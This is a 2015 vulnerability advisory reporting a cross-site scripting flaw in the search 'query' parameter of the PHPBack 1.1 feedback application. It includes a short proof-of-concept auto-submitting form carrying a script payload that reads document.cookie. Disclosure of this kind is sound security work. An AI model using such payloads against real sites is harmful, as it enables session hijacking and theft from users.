PHPBack 1.1 Cross Site Scripting

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source: http://hyp3rlinx.altervista.org/advisories/PHPBACK-XSS.txt  
  
  
  
Vendor:  
====================  
www.phpback.org  
  
  
  
Product:  
===============  
phpback v1.1  
  
The open source feedback system, PHPBack is feedback a web application that  
you can easily  
implement on your website. It gives your customers a way to communicate  
their ideas to  
improve your products.  
  
  
  
Vulnerability Type:  
==========================  
Cross site scripting - XSS  
  
  
  
CVE Reference:  
==============  
N/A  
  
  
  
Vulnerability Details:  
======================  
XSS vulnerability exist in search field 'query' parameter allowing  
arbitrary client side JS code  
execution on victims who click our infected linx or visit our infected  
webpage. Session ID theft  
may follow as well as possibility to bypass CSRF protections etc...  
  
  
  
XSS Exploit code(s):  
===================  
  
<form id='InFeCT0r' action="  
http://localhost/phpback_v1.1/phpback-1.1c/home/search" method="POST">  
<input name="query" type="hidden"  
value="'<script>alert(document.cookie)</script>">  
<script>document.getElementById('InFeCT0r').submit()</script>  
</form>  
  
  
  
Disclosure Timeline:  
=====================  
Vendor Notification: December 11, 2015  
December 15, 2015 : Public Disclosure  
  
  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
  
Severity Level:  
================  
High  
  
  
  
  
Description:  
=====================================================  
Request Method(s): [+] POST  
  
  
Vulnerable Product: [+] phpback v1.1  
  
  
Vulnerable Parameter(s): [+] query  
  
  
  
[+] Disclaimer  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and that due  
credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit is given to  
the author.  
The author is not responsible for any misuse of the information contained  
herein and prohibits any malicious use of all security related information  
or exploits by the author or elsewhere.  
  
by hyp3rlinx  
`